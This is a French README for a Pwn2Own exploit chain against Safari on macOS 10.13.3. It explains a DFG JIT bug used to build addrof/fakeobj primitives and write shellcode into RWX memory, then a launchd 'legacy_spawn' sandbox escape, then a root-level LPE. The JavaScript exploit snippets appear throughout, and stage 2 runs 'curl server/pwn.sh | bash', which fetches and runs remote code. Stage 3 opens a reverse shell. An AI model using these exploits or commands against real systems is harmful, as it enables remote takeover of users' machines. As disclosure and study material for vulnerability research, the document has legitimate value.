
Un exploit chain Pwn2Own
RCE sur Safari, évasion du sandbox et LPE jusqu'au noyau pour macOS 10.13.3.
Installez nasm et tornado :
brew install nasm
pip3 install tornado
Consultez config.py si vous souhaitez changer l'hôte ou les ports. Démarrez ensuite le serveur avec ./server.py et naviguez vers l'URL affichée.
Cette chaîne d'exploitation utilise trois bugs différents pour passer du code JavaScript exécuté dans Safari à l'exécution de code en mode noyau :
La chaîne d'exploitation est implémentée en six étapes, chacune située dans son propre sous-répertoire :
Chaque sous-répertoire (à l'exception de libspc/) contient un fichier nommé make.py qui, lorsqu'il est exécuté, effectue toutes les commandes de build nécessaires et crée une liste de fichiers à servir par le serveur web.
Objectif : obtenir l'exécution de shellcode dans le processus WebContent sandboxé
Bug exploité : optimisation incorrecte dans le compilateur JIT DFG
Voir aussi cette présentation BlackHat
Le compilateur JIT DFG représente le code JavaScript dans sa propre représentation intermédiaire (IR), le Data Flow Graph (DFG). En général, une expression JavaScript est traduite en une ou plusieurs instructions IR dans ce graphe. Dans le cas d'une fonction constructeur, l'instruction CreateThis est émise et est responsable de l'allocation de l'objet this construit par la fonction. Par exemple, la fonction function Consructor() {}, lorsqu'elle est appelée avec new, serait approximativement traduite en
v0 = CreateThis
return v0
En regardant l'AbstractInterpreter, nous pouvons voir que le compilateur JIT DFG suppose que l'opération CreateThis n'entraîne aucun effet de bord en dehors d'une allocation sur le tas. En effet, ce code :
function Constructor(obj) {
return obj.x;
}
sera approximativement traduit en instructions DFG suivantes :
(Ici, le StructureCheck a été déplacé au début de la fonction par la TypeCheckHoistingPhase).
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
Cependant, cette hypothèse est invalide, car le code du chemin lent (slow-path) de CreateThis peut exécuter du code JavaScript arbitraire dans certains cas. En particulier, en utilisant un Proxy autour de la fonction réelle, le piège get pour la propriété « prototype » sera appelé pendant le gestionnaire du chemin lent de CreateThis, car il doit récupérer l'objet prototype pour l'objet construit :
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* run JS here, modify the structure of the argument object, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Force JIT compilation of ConstructorProxy
Ainsi, il est désormais possible de modifier la Structure d'un objet sans que le compilateur JIT n'effectue de bailout.
Ce bug peut être utilisé pour construire les primitives addrof et fakeobj comme suit :
Nous compilons le code pour le cas d'un JSArray avec des éléments doubles unboxed, puis, dans le callback, nous passons à des éléments JSValue. Ensuite, le code JIT chargera une JSValue depuis le tableau, mais traitera ces bits comme un double et nous les renverra. Le code suivant assignera l'adresse de leakme à la propriété « address » de l'objet construit.
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
Ici, nous faisons essentiellement l'inverse : nous optimisons le code pour stocker un double dans un tableau avec des éléments doubles unboxed, puis nous passons à nouveau à des éléments JSValue dans le callback. Le code continuera d'écrire notre double contrôlé sous forme unboxed dans le stockage de sauvegarde. Lorsque nous accéderons plus tard à cet élément du tableau, il traitera ces bits comme une JSValue au lieu d'un double. Le code suivant écrira le double unboxed address dans le tampon de sauvegarde de a, que nous pourrons ensuite lire comme JSValue, ce qui nous permet d'« injecter » des JSValues de notre choix dans le moteur.
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
Nous nous retrouvons ainsi avec la capacité d'écrire un double et de le traiter comme un pointeur JSObject, et vice versa. Cela peut être exploité comme décrit dans attacking javascript engines.
L'exploit parvient d'abord à obtenir une lecture/écriture arbitraire de la mémoire du processus en simulant un Float64Array, puis recherche la région JIT (mappée RWX) et y écrit le shellcode de l'étape 1.
Objectif : amorcer l'étape 2 en écrivant un .dylib sur le disque et en le chargeant via dlopen()
Un court payload en assembleur qui fait essentiellement ce qui suit :
confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) pour obtenir un chemin vers un répertoire accessible en écrituredlopen()Objectif : sortir du sandbox
Bug exploité : vérifications de sandbox manquantes dans l'API « legacy_spawn » de launchd
Voir aussi cette présentation
Launchd expose le point de terminaison RPC « legacy_spawn » comme routine 817 dans le sous-système 3. Cette API ne vérifie pas si l'appelant est autorisé à lancer des processus et se contentera d'appeler execve sur n'importe quel binaire du système pour l'appelant, avec des arguments contrôlés. Comme launchd est accessible via le port bootstrap, cela permet de s'échapper du sandbox.
L'exploit exécute essentiellement curl server/pwn.sh | bash et passe ainsi le contrôle à l'étape 3.
Objectif : faire apparaître la calculatrice et amorcer les étapes restantes
Cette étape exécute open /Applications/Calculator.app et établit un shell inversé, puis récupère tous les fichiers requis pour les étapes restantes et exécute les exploits.
Objectif : obtenir root via un exploit LPE
Bug exploité : MitM sur le port bootstrap de XNU
Voir aussi cette présentation POC